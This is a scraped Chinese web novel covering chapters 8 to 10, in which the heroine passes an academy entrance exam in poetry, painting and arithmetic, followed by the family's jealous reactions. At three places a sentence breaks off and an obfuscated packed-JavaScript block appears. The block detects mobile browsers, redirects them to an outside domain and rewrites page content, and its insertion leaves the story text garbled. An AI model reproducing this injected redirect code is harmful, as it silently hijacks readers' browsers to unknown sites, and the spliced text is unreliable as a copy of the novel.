“多谢沈兄。”边上江维胤连声道谢。 男子直身抬头，江筠看见他挺秀的鼻梁，水漾的桃花眼，双眼皮的痕迹深而上翘，便是不曾笑，也像是带着笑意。是沈豫吧，江筠无端觉得脸上有些热，想起江维胤之前无数次说过，建安侯府沈豫，京中容貌第一的郎君。 当！楼下一声锣响，打探消息的伙计飞跑进来：“开考了，开考了！” 书院里。 二十名考生各自在座前站定，主考官朗声宣布：“今次入学试共考三科，时限两个半时辰。第一科诗赋，第二科、第三科自选，经义、琴棋、书画、术数、算学、骑射均可。” 偌大的厅堂里顿时安静到了极点，江念余光里，看见江维鸾抿紧的红唇。 考法改了，原本必考的经义变成了自选。是为了那内定之人，特意改了规则吗？但不管怎样，对她都是好事，须知经义，原本是她最弱的一科。 “夫子，”身后有人发问，“从前都是一科经义，一科诗赋，一科自选，为何突然更改规则？” 江念忍不住回头去看，是个淡黄衫子的圆脸少女，乌黑明亮的眸子望着台上，极是大胆：“可有什么缘故？” 耳边如松下风动，先前不敢开口的考生们有她挑头，嘁嘁喳喳俱都议论起来，考官右手微微下压，神色肃然：“如何考，由书院决定，非尔等所预。钟响三声后开考诗赋，限时两炷香，香尽诗未成者，退场，诗成者，交由师长品评判定，择选第二科、第三科。” 话音落时，第一遍钟幽幽敲响，江念定定神，见一个夫子上前将诗题限韵钉在屏风上，诗题是《秋望》，五律，限一东韵，空、濛、蓬、中四字①。 一东韵少，这四个字也不常用，这诗并不容易做。脑中急急思索着，听见第二遍、第三遍钟响，嚓一声，夫子打着火镰，点燃第一支香：“开始。” 轻烟袅袅，夹在笔尖落纸，沙沙的轻响声中，身边已经有人提笔开始写了，江念极力回忆着江筠让她背诵的佳句，想找能套用的，急切中怎么也找不到，觉得紧张，微微闭着眼。 江维鸾看她一眼，心中得意。限韵虽然刁钻，但诗题却是常见，这半年里舅舅请了名师给她补课，类似的题目她做过好几次，早有积攒下的佳句，只要换上限定的韵脚，想来便可无虞。提笔蘸墨，不假思索向纸上写去。 两人桌挨着桌，因此江念模糊看见她悬腕落笔，瞬间已是两行。越是焦急，越是无法成句，听见周围绵绵不绝，都是书写的声音，看见远处微光一闪，第一支香燃尽，第二支香点燃。 这第一科，也许就是她最后一科。 既如此，还有什么可怕的？她原本也只是陪跑，原本也知道考不上，放手一搏，不辜负这些天的努力罢了。 顾虑抛下，心绪突然平静。秋望，秋日里眺望。又何必拼凑什么佳句？秋日里她乘船还京的几十个昼夜，哪一幕，不是切合诗题？不如将感受如实写下，哪怕写得不好，也是她真实心意。 一念至此，眼前一幕一幕，绵绵不绝划过运河两岸苍茫的秋景，最后都定格成旌旗招展的点将台，隔着萧萧青山，漠漠平林，在渐冷的秋风里，孤山留给她最后一笔浓墨重彩的印象。耳边仿佛响起震天的金鼓声，江念睁开眼，提笔写下首联：“长风卷旌旗，金鼓荡碧空。” 跟着是颔联、颈联、尾联。 无声无息，第二支香恰在此时燃尽。 茶楼里。 雅间的门开着一条缝，外边笑语议论之声灌满两耳，热热闹闹，说的全都是入学试，有猜测试题的，有议论赴考之人的，还有谈论往年考试情形的，江筠悬着心，看见打探消息的伙计飞跑进来：“第一科考完了，有人出来了！” 江筠怔了下。必考科经义、诗赋，其中诗赋若未能在时限内做完，就会被勒令退场，但诗赋通常是第二科，眼下应该是考经义才对 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780662|157955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ，怎么也有人退场？ 忙从窗户里望去，就见两个女子抹着泪出来，显然是被退场，她们的家人急急忙忙迎上去安慰，又有过去探听消息的，江筠紧紧攥着手心，看见大门再又关上，江念和江维鸾都没出来。 她们没有被退场。阿弥陀佛！江筠无声念诵，听见沈豫含笑的语声：“看来令姐都顺利过了这第一关。” 他正跟江维胤说话，水漾的眸子在日色下熠熠闪光：“恭喜。” 江维胤咧嘴一笑：“没想到三姐竟能撑下来。” “三妹只是病中耽搁了功课，你不要看轻了她。”江筠忍不住替江念辩护，“不过有点奇怪，一般是诗赋才有退场，这第一科，按例应该考经义才对。” 江维胤笑了下没说话，沈豫道：“是不是改了次序？” “改规矩了，改规矩了！”那打听消息的伙计回来了，高声通报，“今年必考只有诗赋一科，剩下两科都是自选！” “什么？”江筠吃了一惊，不觉也想到那传说中的内定之人，是为她改的规矩吗？随即又想到，经义不再必考，难度便降下来一大截，那么江念的机会是不是多了几分？她会选考哪两科？ 书院里。 江念向考官道：“我选画、算学。” 她是斟酌之后，选定这两科。画她自忖可到中等，至于算学，因为不入流的缘故，贵女们少有人学，报名的应该不会太多，如此，她的胜算就能大上许多。 旁边清脆的语声：“我也选画和算学。” 江念回头，是那个淡黄衫子的少女，含笑向她一点头：“好巧。” 江念也颔首致意，听见另一边江维鸾道：“我选经义、棋。” 因着江筠长项是画，所以江维鸾不肯选画，报了棋。这半年里她下功夫苦练，自己觉得进步不少，颇有自信，至于经义，她已经温习了大半年，怎么舍得不考？ 考官在簿子上登记，江维鸾看了眼江念，有些鄙夷。也不知方才她怎么混过诗赋那一关的，明明老半天挤不出一句，后来却突然写出来了，不过这样赶着拼凑的句子，怎么可能好？眼下又选了算学，这种不入流的东西，也不怕人笑话！ 顷刻之间所有人都选好了科目，书院中原有这些课程，当下便是各科的夫子领着选此科的考生，各自往教室里去考。选画的有七八个，除了经义之外考生最多的一科，江念有些懊悔，随即又释然，诗赋已是侥幸，如今只消放手一搏，又何必在意结果？ “以秋为主题，具体题目各人自拟，只别偏了主题便好，至于是山水还是人物，工笔还是写意，一概不限，你们自己定。”夫子放下一个沙漏，“限一个时辰，漏尽画不成者，退场。” 江念看见旁边考生惊讶的神色，此前自选科并不会勒令退场，即便时限到了画没做完，也会交上去评判——又一项改了的规矩。也许第三科，也会有新规矩吧，既如此，越发没什么可顾虑的了。 铺开画纸，望一眼窗外高而蓝的天空，运河水畔那震天的金鼓声蓦地又在耳边响起。 秋日孤城，旌旗狼烟。她生活了八年的北境，孤山。一水之隔，失去的国土，额上刺了字，拼死也要回归故国的流民，还有那些驻守边疆，以生命换金瓯无缺的将士。 心绪激荡着，空无一物的画纸上仿佛突然出现两个字：秋杀。 8. 第 8 章 一刻、两刻、三刻，马上就是一个时辰了，书院的大门始终紧紧关闭，江筠高高悬着心。 江念会选哪两科？画是事先商定的，那么另一科，是什么？ 棋吗？她曾教过江念下棋，但江念总有许多活要做，没时间练，自然也就生疏了。琴太贵，家里只江维鸾有一把，轻易不让她们碰，莫说江念，连她也不怎么熟练。骑射更不用想，那八年里家里一贫如洗，如何能有闲钱学那个。那么，也就只剩下算学。 她知道江念曾经跟周一娘学过，学得如何她没有细问，这终究是商贾吏员的行当，与大家闺秀并不相宜，所以这次备考她并没让江念练习，可眼下看来只能选算学了，这么久没练，行吗？ “也不知道你姐姐选的哪两科。”边上柳氏悬着心，忍不住说道。 江筠回过神来：“应该是经义和棋。” 大姐为这两科准备了那么久，必然是要用上的。可妹妹。江筠自责着，都怪她，若是她能想得更周全，让妹妹提前练练算学，就好了。 “马上到一个时辰了。”沈豫看了眼楼下大堂的沙漏，说道。 江筠心里一紧，以往都是一个时辰为限，这会子是不是考完了？考得怎么样？ 书院。 江念再看一眼完成的画卷，确定没有疏漏了，提笔落款。 抬眼，沙漏中最后一缕细沙正飞快落下，在浅蓝琉璃钵中堆成一座尖顶小山。恰是一个时辰。 “时间到。”夫子朗声道。 江念放下笔，余光瞥见周围的人一个个搁笔坐正，这一场，并没有人超时。夫子穿行其中挨个查看，忽地在她面前停住，念出了画上之题：“秋杀。可是实景？” “回夫子的话，是实景。”江念连忙起身行礼。江筠曾提醒过她，夫子们很可能会当面提问，虽然心里早有准备，此时还是觉得紧张，不自觉地攥着拳，“孤山州，建安军寨。” 夫子点点头，细看眼前画卷。一脉白水环绕孤城，秋山苍翠，红枫几片，点出题目中的“秋”字。蹀楼上甲光映日，沙场中旌旗翻卷，一匹战马长嘶着冲出重围，马背上的将军臂挽强弓，箭如流星，直指天际处滚滚的狼烟！ 静止的画面，甚至连人物也只一人一骑，但其中那绷紧的气氛，无声的杀机，却让人陡然心惊，夫子忍不住问道：“何为秋杀？” “杀敌。”江念听见自己因为激动，微微的颤音。杀敌，自她到了孤山，无数次从百姓，从士兵，从额上刺字的孤山流民口中听到的词，一代又一代北境人前赴后继，九死无悔的信念，“收复山河。” 周遭响起低低的赞叹声，大雍谁不知痛失孤山之恨？闻言无不起了同仇敌忾之心，江念看见夫子微扬的眉梢，看见淡黄衫少女明亮嘉许的目光，突然觉得羞涩，忙低了头。 “好。”夫子点点头，转向黄衫少女，同样念出画上题字，“秋行。” 江念忍不住看了一眼，画中是水天一色，孤帆逆流，河滩上嶙峋的怪石中间，几个纤夫背着纤绳，身体绷紧触底拉满成一张弓，拖动大船逆风上行。是运河上的情形，回京时她也见过，也曾感叹民生艰难，震撼于渺小凡人搏击自然的悲壮。 也许这少女，与她有同样的感受。心里油然生出亲近，听见夫子评价道：“角度倒是新奇。” 窗外钟声悠悠敲响，夫子快步回到讲台：“此科结束，可以离场了。” 众人按次序退出，江念寻着路标去找算学教室，身后那黄衫女子紧走两步跟上，笑道：“你画得很好。” 江念忙道：“你画得也很好。” “你叫江念？”少女看见了她画上的题跋，“我叫曲蔚，咱俩都考算学，一起走吧。” 她极熟稔的，握住她的手，江念怔了下，蓦地想起江筠，二姐这时候，正等着她的消息吧。 茶楼中。 “开门了，有人出来了！”楼下议论的声音陡然放到最大，江筠心里一紧，难道又有退场的，是谁？ 紧走两步到窗前，书院大门开了又关，两个女子低头走了出来，又有无数人涌上去打听，不多时消息传了回来：“自选也有退场，下不出限定棋谱，弹不出指定曲目的都得退！” “阿弥陀佛。”江筠听见柳氏低低念了声佛，她是为江维鸾，江维鸾选的多半是棋，既然没出来，想必是过关了。忍不住也跟着念了一声，江念没出来，至少眼下，还有希望。 “大姐看来要得偿所愿了，”江维胤笑道，“只是想不到三姐居然能撑到现在。” 江筠忍了又忍，没再与他争执。他虽不像江维鸾那么露骨，但 同样瞧不上她们这些庶出，有柳氏言传身教，这样子也不奇怪。 “令姐妹蕙质兰心，此次考校自然不在话下。”沈豫笑道。 “沈贤侄过誉了。”柳氏心情大好，笑吟吟地回了一句。 她也曾听人说过沈豫是年轻一辈中的佼佼者，只不过沈家是武将勋贵，柳、江两家都是文官，圈子不同，平日里也就少有来往，今日一看，果然名不虚传。 心里不由想到，刘家二郎跟沈豫，哪个更好？ 远处钟声悠悠响起，听见江筠道：“第三科开始了。” 书院中。 “算学分两部分，一为算筹，一为珠算，”夫子道，“前半场考算筹。” 选算学的只有江念和曲蔚，此时一人领了一盒算筹，听夫子念出第一道题目：“用算筹写出两万八千零四十六，以漏尽为限。” 她将沙漏倒置，小得很，不到半盏茶就能漏尽，江念连忙取出算筹，没立刻动手，先在脑中回忆一遍。 算筹是古时遗留，当世惯用算盘，她跟着周一娘主要学的也是算盘，算筹虽然也懂，但多日不曾练习，手生得很。 余光瞥见边上曲蔚飞快地摆着，面前的沙漏就快过半，江念定定神，回忆着口诀，取两根算筹，自个位开始摆起。① 算筹摆放复杂，又兼数字中有零，稍不留神就会出错，沙漏越落越急，边上曲蔚摆完了，举手示意，江念稳着心神。 不要急，更不要怕，前两科她都考完了，这一科，她也行。 六，四，零，八，二。最后两根算筹竖直摆好，江念急急举手，漏中最后几粒沙子恰在此时落尽。 夫子走来检查，点点头，将沙漏再次倒置：“第二题，某甲有陈米一千九百石，今秋收新米两百二十三石，卖出七百九十七石，问某甲现有米多少石？” 边上算筹轻响，曲蔚手快，已经开始摆了，江念紧随其后。 第三题、第四题……眨眼便是最后一题，夫子朗声念出题目：“圆田，周百二十步，径四十步，田共几亩？” 江念脑中嗡地一响。这题是求圆面积，算法她会，但她不知道步数与亩数该如何换算。脑中急急思索着，看见边上曲蔚下手如飞，已经开始计算了。 怎么办？江念紧紧咬着唇，头一个念头便是，她要让二姐失望了。 茶楼中。 漏刻马上就到午时，看热闹的人等得饿了，此起彼伏叫着餐食，江筠丝毫没有胃口，一双妙目一瞬不瞬，紧紧望着书院。 第三科时间已经将半，江念怎么样了？辰初三刻开考，到如今马上就是两个时辰，她饿不饿，渴不渴？ 虚掩的门推开一点，伙计捧着一大盘点心走了进来：“客人，点心来了。” 江筠回头，沈豫伸手接过，奉让柳氏：“伯母用些点心吧，时辰不早了。” 柳氏满心牵挂着江维鸾，其实并吃不下，但见他盛意拳拳，到底道了谢接过来，取一块给江筠：“你吃吧，别饿坏了。” 见他拿着又让韩尚和江维胤，礼数周全，言谈得体，直让人如沐春风，柳氏不觉又多看几眼，不知谁家女儿有福，能得如此出色的夫婿？ “午时了！”楼下突然嚷叫起来，“是不是快了？” 柳氏心里一紧，看见江筠快步走去窗边望着，沈豫跟上去，将窗户掩上：“外面风大，二姑娘小心。” 最后一丝漏进来的风，吹动鬓边发丝，江筠低着头：“多谢。” 书院中。 沙漏落下最后一粒，江念颓然放下算筹。 田地步数早已求出，亩数却不知该如何换算，看见夫子确认了曲蔚的得数，跟着看向她：“为何不算完？” “回夫子，”江念连忙站起，紧张自责到极点，手指打着颤，“我不知道步数如何换算亩数……” 夫子没说话，世界骤然陷入一片死寂，江念极力仰头忍着哽咽，接下来是不是会让她退场？一直不曾报什么希望，到这时却突然意识到，她努力了这么久，也盼着能有个圆满的结果。 却突然听见夫子道：“上半场结束，曲蔚全对，江念对五题、错一题。下半场珠算，现在开始。” 没让她退场！ 江念紧紧攥着拳头，劫后余生的疲惫中隐隐又有强烈求胜的欲望，侍女送上算盘，是十三档的，从前她跟周一娘学的是十一档，这种档数更多，是做复杂计算用的。 “我提问，点到者回答。”夫子转向江念，“背诵四归。”② 江念不敢迟疑，连忙背了下去：“逢四进一，逢八进二，四二添作五……” “停，”夫子转向曲蔚，“接 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780663|157955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下去。” 曲蔚背的极是流利：“四一二余二，四三七余二。” 夫子点点头：“好，现在背八归。” 这次曲蔚背前面，江念背后面，如此一来一往，不多时背完了大部分乘除口诀，夫子点点头：“第二题，某甲行路，日增等里，九日走一千二百六十里，第一日、第四日、第七日所走之和为三百九十里，问第六日走几步？”③ 倒置沙漏：“以漏两尽为限。” 沙子飞快落下，江念稳着心神，在算盘上摆出数字。大半年不曾摸，起初有点生疏，渐渐地越来越灵活，此时所有的杂念都已消失，全神贯注，只要解出眼前的题目。 噼里啪啦的算盘声中，日影一点点升到屋脊，马上就是午正了。 茶楼中。 江筠悬着心，看着漏刻走过午正，无声无息又向二刻挪移，太久了，怎么还没考完？ 却在这时，突然听见钟声敲响，考完了。刷一下站起来，向柳氏道：“母亲，我去接接妹妹！” 她不等回答拔腿走就，柳氏连忙叫江维胤：“老四，你跟着你姐姐。” 身后脚步杂沓，大概是江维胤跟来了，江筠顾不得回头，飞快地往下走，茶楼里的人也都挤着向外，书院门开了，隐约看见几个考完的女子往外走，门前一眨眼间挤满了人，接人的、问询的、看热闹的，挤挤挨挨堆在一起，江筠艰难穿行着，望见照壁边绿裙一闪，不是江念又是谁？ “三妹，”急急招手唤道，“我在这儿！” 话音未落，斜刺里忽地抢过来几个人往门前挤，江筠力弱，看看要被撞到，身后忽地有人伸臂挡住：“小心！” 江筠回头，沈豫不知什么时候来了，手中折扇虚虚向外一挡，在拥挤人群中撑出方寸之地，容她安身。心跳突然快到极点，却在这时，看见江念迈出了门槛。 未来得及的情绪戛然而止，江筠抢上去握住江念的手：“饿不饿？” “不饿，”江念带着愧疚，不敢看她殷切的目光，“姐，我算筹做错了一题，珠算最后一题不确定对不对。” 江筠一颗心沉下去，忍着失落安慰：“没事，错一道并不算多，还有机会，看明后天放榜吧。” “夫子说半个时辰就能放榜，”边上江维鸾轻笑一声，“今天人少，判卷快。” “这么快！”江筠脱口道。 是啊，好快。江念低着头：“二姐，算筹最后一题是计算圆田亩数，我不会换算步数和亩数，没做完。珠算最后一题是勾股弦，我开方练得少，不是很有把握。” 虽已考完，整个人依旧绷紧到极点，脑中纷纷乱乱，全是方才的题目。算筹已确定错了，便也不再去想，但那道开方题她从前练得太少，只是根据口诀摸索着打出来的，却不知是对是错。 “居然考了开方？”旁边有人说话，江念抬头，看见一张风流蕴藉，陌生男子的脸。江筠转过脸：“这是四弟的同窗，沈二公子。” 人越来越多，沈豫伸臂挡着，带着感叹看向江念：“三姑娘竟是算学高手，佩服，佩服！” 原以为都是女儿家，最多不过考些加减乘除，没想到竟要开方，连他这种涉猎甚广的男子对此道也不甚熟练。忍不住又看江念一眼，江维胤曾说过三姐木讷土气，可眼前的少女无论容貌还是气度，哪有半点木讷的影子？ “大姐儿，”柳氏被江维胤护着挤过来，“怎么样？” 她小心窥探着江维鸾的神色，江维鸾笑了下，虽然围棋对弈时输了几子，但打棋谱她一子不曾差；经义虽然也有几道没答出来，但今日来考的这些人她差不多都知道，没几个比她强的：“挺好的。半个时辰就放榜，等结果吧。” “这么快？”柳氏也吃了一惊，眼看人群都往茶楼挤，显然都是要等放榜，忙道，“我们也进去等吧。” 时间飞快地地过去，书院大门仍旧紧闭，榜还没放，江念安静地坐着。 那道开方，她在脑中反复推演，答案应该是对的。无论结果如何，她都尽了最大努力，也算没辜负自己，没辜负二姐。 “没事，”江筠见她一直不说话，以为结果不好，低声安慰着，“回头好好温习，明春再考。” “说得轻巧，”江维鸾撇嘴，“这次亏得没考经义，要是再加上经义，哪还有机会？” 江筠正要反驳，忽地听见楼下叫了声：“放榜了！” 脚步杂沓，无数人都在往外跑，江念看见江维鸾刷一下站起身，听见有人在喊：“放榜了，曲蔚、刘慧文、江念！” 脑中似有无声的嗡鸣，江念沉默着，看见江维鸾羞愤的脸。 9. 第 9 章 江士元赶在半下午时回到家中，到处静悄悄的，柳氏不在，女儿们也都不在，哪里去了？ “老爷怎么这会子回来了，”张姨娘听见消息迎出来，“吃饭了没？” “吃过了，”江士元四下看着，“太太呢，怎么不在家？” “今天大姑娘跟三姑娘考试，太太送考去了，”张姨娘道，“二姑娘和四爷也跟着去了，都还没回来。” 江士元这才想起这事柳氏昨天跟他说过，忙了大半天，全忘了。抬头看看日色：“这都什么时辰了，怎么还没回来？” “谁知道呢，”张姨娘斟了茶奉上，“去了两三个时辰了，我也等得焦心。” 她倒不是焦心江念，谁都知道江念不可能考上，她根本没抱指望。不过江筠早上只吃了一碗粥一块饼，两三个时辰过去了，她很担心江筠会不会饿肚子。 “老爷，”小丫鬟走来禀报，“太太回来了。” 江士元抬眼一望，柳氏挽着江维鸾刚进门，身后是江念姐弟几个，俱都低着头神色凝重，唯独江维鸾昂首挺胸，大步流星地往前走。这样子看来，江维鸾应当考得不错，江念怕是没考好。江士元隔窗问道：“怎么去了这么久？” “足足考了两个半时辰。”柳氏低头进了门。 离得近，江士元看见她眼皮红红的，江维鸾也是，这才意识大约也没考好，随口安慰道：“莫要泄气，还不曾放榜……” “早放榜了！”江维鸾忽地打断他。 江士元出其不意，见她气咻咻地攥着拳，明显是心里不痛快冲他撒气，语气立刻严厉起来：“怎么跟我说话的？这是对长辈的礼数吗？这些年教你礼节教你孝顺，你都学到哪里去了？” “是，我学不好，就我不行！”江维鸾啪一下甩起帘子，飞快地往外走，“我知道你们都嫌弃我，当初你们一家子都在孤山，偏把我一个人撵回京城没人管！” 江士元噌一下上了火，三两步追出去：“孽障，站住！” “老爷，”柳氏追出来拉他，“她没考上心里不好受，就饶她这次吧。” 几个儿女都围上来求情，江士元看见江维鸾头也不回地进了跨院，气得指着柳氏：“都是你惯的！惯得她无法无天，连我都敢顶撞！她没考上心里不好受，难道她妹妹心里就好受？怎么不见她妹妹闹？” 忍了多时的眼泪再忍不住，柳氏急急掏出帕子背过脸，江士元看见江念低着头不说话，江筠欲言又止，这会子意识到不对，问道：“怎么了？” 半晌，听见江维胤道：“三姐考上了。” “什么？”江士元大吃一惊。 半个时辰后。 张姨娘打探了消息回来，反手掩上门：“这会子不闹了，哭呢，太太在跟前哄。” 江念看见她脸上掩饰不住的笑，这结果谁也不曾料到，散场时她丝毫没有把握，江维鸾的样子却像是十拿九稳，哪知江维鸾没成，她这个拉来垫背的，反而成了。 “要我说也是太太平常太惯着大姑娘，惯得没边儿了，连老爷都敢当面顶撞，这回活该她吃亏。”张姨娘心里痛快得很，平日里柳氏连正眼都不肯瞧她，结果偏是她生的女儿压倒了柳氏的女儿，这口恶气出得痛快！一时间看江念也觉得顺眼了许多，“真没想到你居然能考上，你二姐有本事，你有运气，瞎猫碰到死耗子！” 瞎猫碰上死耗子吗？也许吧。江念沉默着，如果不是这次改了规矩不考经义，如果不是恰好出了那样的诗题、画题，如果不是算学并没有赶她退场，她不可能考上。录取三人，她排在最后一名，应当是按成绩排的吧，她这次，的确是运气。 “娘，你怎么能这么说？”江筠听不下去，出声制止，“妹妹努力这么久，是她有能力所以才能考上，什么叫瞎猫碰到死耗子？” “好好好，我不说了。”张姨娘答应着，忍不住又笑起来，“阿弥陀佛，这下太太可要气死了！” 生气吗？江念回想那时柳氏的神色，有惊讶，有伤心，唯独生气，她没看出来。 “姨娘，”柳氏的丫鬟在门外叫，“大姑娘要吃莲子羹，太太让姨娘快些去做。” “知道了。”张姨娘嘟囔了一声。江家为了省钱并没有雇厨娘，庖厨之事一直都是她张罗，抱怨着出了门，“瞧我这命，一天到晚干不完的活！” 屋里只剩下姐妹两个，江念抬眼，看住江筠：“姐。” 到这时候还有些不真实的感觉，然而红榜黑字，她的名姓题在上头，入学的日期已经定在十月十六，就连入学时要备的书本文具都已经列出，再过十几天，她就是林下书院的学生，她平淡无奇的人生里，头一次写下浓墨重彩的一笔。 “廿廿，”江筠搂她在怀里，“祝贺你。” 鼻子酸涩着，在伤感中，生出无限欢喜。为着江维鸾的缘故，放榜到如今她连一丁点欢喜的模样都不敢有，其他人也不曾说过什么，江筠这话，是她收到的第一个祝贺：“谢谢姐姐。” “你放心，过两天大姐好了，父亲他们肯定都会为你庆贺。”江筠轻轻拍抚着她。在如此劣势下能够考上，多么不容易，该当得到所有人的祝福，可长姐在哭闹，父母在生气，姨娘只顾着幸灾乐祸，竟没有一个为妹妹祝贺。心里怜惜着，柔声开解，“春天我考上时，祖母奖了我一只戒指，父亲送了我一部新书，一方端砚，二叔给我买了笔，母亲和娘给我裁了衣裳，你就等着收贺礼吧！” “真的？”明知姐姐是劝慰，江念心里依旧觉得温暖。衣服首饰她不在意，但文具，她很缺。入学时要备齐四书五经，毛笔、画笔，还有笔墨纸砚和各色颜料，可她除了江筠给的几支旧笔、一刀宣纸，其他什么都没有。 “当然是真的，”江筠摸摸她的头发，“没准儿祖母一会儿就叫你去呢。” 像是验证她的话，紧跟着半夏就来禀报：“老太太让三姑娘过去一趟。” “瞧瞧，我怎么说的？”江筠笑着拉起江念，“祖母先前心疼你病着不方便，如今你好了，正该去拜见她老人家。” 江念笑了下，没有反驳。回来十几天江老太太一直没有见她，零零碎碎的，她也听说了缘故，老太太嫌她病着，怕她传染。也许眼下，已经证实她不会传染吧。 西院。 江老太太歪在榻上，跟二太太黄氏闲话：“看不出来三丫头还有这本事，还真是会咬的狗不叫。可怜大丫头，竟让她压了一头。” “听说这次题容易，跟从前考的不一样，”黄氏道，“所以三姑娘拣了便宜，大姑娘吃了亏。” “大丫头随我，直性子，心眼少，怪不得吃亏。”江老太太摇摇头，“要我说上什么学念什么书？我大字不识一个，不照样把他们兄弟拉扯大，做了官？姑娘家读那么多书有什么用？老大媳妇不晓事，老大也不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14780664|157955||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 管管，由着丫头们胡来，一个个十七八岁不嫁人，瞎读什么书！” 黄氏商贾出身，也不怎么认字，听见这话大是认同：“老太太说得对，姑娘家嫁得好比什么都强，所以我一直都跟贞姐儿说，你好好跟你祖母学管家，这才是正经该学的东西呢。” “老太太，二太太，”丫鬟小声提醒，“二姑娘、三姑娘来了。” 门外。 江念模糊已经听见了几句，余光里瞥见江筠微蹙的眉头，她也听见了。 “进来吧。”帘子里传来江老太太的声音。 江念迈步进门，江老太太歪在榻上，黄氏在边上伺候，含笑招呼：“哟，三侄女儿出落成大姑娘了，身子可好些了？” “好多了，谢婶娘关心。”江念盈盈下拜，“孙女拜见祖母，拜见婶娘。” “病好了就行，年纪轻轻得那种病，也太不小心了。”江老太太上上下下打量着她，眉头越皱越紧。八年不见，这个孙女看起来陌生得很，尤其这长相，这风一吹就倒的纤瘦身条，随了谁了？她年轻时高挑丰艳，可不是这副怪模样，“考上了是好事，不过也别太得意，这回题容易，你运气好，撞上了，别想着就是你有能耐，比你厉害的人多了去了。” 江念低头听着，余光里瞥见江老太太团团的白脸，像小时候的守岁夜，隔得太远，总也看不清楚：“是。” “祖母，”江筠听江老太太的语气竟像是责备，忙道，“妹妹很用功的，每天温习到三更……” “行了，”江老太太打断她，“你们也老大不小了，这书念不念的都不打紧，早点说门好亲事比什么都强。” 江筠红着脸，又觉害羞，又替江念不平，还想再分辩，江念拉住她，答得恭敬：“祖母教诲的是，孙女记下了。” 这些议论，想来今后她还会听见许多。又何必分辩？看不上她的，怎么都还是看不上，何苦为此烦心。 “记住就好，”江老太太觉得满意，点了点头，“晚上过来吃饭。” 江念行了一礼，转身离开。 “廿廿，祖母说话直，你别多心，”江筠紧走几步跟上来，自己也觉得江老太太方才有点刻薄，下意识地解释着，“祖母没别的意思。” “我知道，”江念知道她一向敬重江老太太，没再多说，“我没多心。” “那就好。”听见江筠带着迟疑，低低的语声。 眼前骤然暗下来，她们出了院门，到了回东院的矮墙下。墙头依旧是随风飘摇的秋草，江念抬眼，无比清晰地意识到，祖母不会为她庆贺，父亲和太太应该也不会，她能考中并不在他们的预期，更不是他们所乐于见到的。 “三丫头，”不远处江士元和柳氏一前一后走来，“见过你祖母了？” 江念答应着上前，江士元神色郑重：“能考上是好事，不过也是这次题目简单的缘故，你万万不可骄傲自满，以后须得加倍努力才行。” 柳氏带着疲惫：“这几天你不要张扬，也别太欢喜了，你大姐……” 大姐看见了，会不高兴。江念点点头。不会有祝贺了，也不会有礼物，但入学所需的东西，她不能不讨要。 有一刹那想起病重之时，写信讨要药钱的痛苦，看见不远处刘安匆匆走来：“老爷，建安军沈帅来拜。” 沈离。江念心里一跳，想起秋杀图上，将军骋马弯弓的背影。 10. 第 10 章 最初的构思里，画中的将军当是年长的，白须白发，与飘落的红枫两相对照，又隐含孤山失陷数十年，一代代将士白首望故土的悲壮，可临到下笔，她改了主意。 画中人背对画面，没有露脸，唯有江念知道，她画的是沈离。 也许是头白犹不见山河收复太过沉重，也许是现实中早已是年轻一辈接过了重担，也许是听说过太多沈离的事，而上京码头那来不及说话的一援手，让她对这位大名鼎鼎的少帅，更多了几分景仰，最终留在画纸上的，是孤山码头上遥遥一望，雄姿英发的青年。 只是没想到，画中人竟会在同一天，突然出现在自己家里。 少帅登门，非同小可，江士元亲身前去迎接，柳氏沉吟着问道：“是沈二郎的兄长？” 江念无端有些慌张，不敢回答，边上江筠也没做声，只剩柳氏自言自语：“是为了公事来的？” 两家素无来往，但江士元任职兵部，想来也只能是为了公事。不觉又想起沈豫：“不知少帅跟沈二郎生得像不像？在孤山那么多年，竟一次也没见过。” 不像，完全不一样。江念低着头没说话。沈豫眉眼俊俏，言谈风流，一看就是五陵子弟，但沈离不是，他高大、威严，年纪轻轻已经有了渊渟岳峙的气势，全然不是子弟们那种风流逸态。 若要比较，一个是乔木，另一个，则是山岳。 “不知道呢，不曾见过少帅，”听见江筠低低的语声，江念抬眼，她神色有淡淡的恍惚，“廿廿，你呢？” “没，”江念脱口说道。心砰砰跳着，那副秋杀图，入学试所有的卷宗都已在书院归档，不会有人看到，也就不会有人知道她偷偷画了沈离，“我也没见过。” 头一次对二姐说谎，慌张歉疚到了极点，然而又怎么能说？一个闺阁女子突然画了不相识的男子，又怎能让人知道？ 柳氏望着往前院去的路，心里遗憾着。上午她对沈豫印象极好，此时很想看看沈家大公子，威震边陲的建安军少帅生得什么模样，但江士元性子古板，公事绝不许内宅插手，也只能转回头：“你们先回去吧，我去向你们祖母禀报考试结果。” 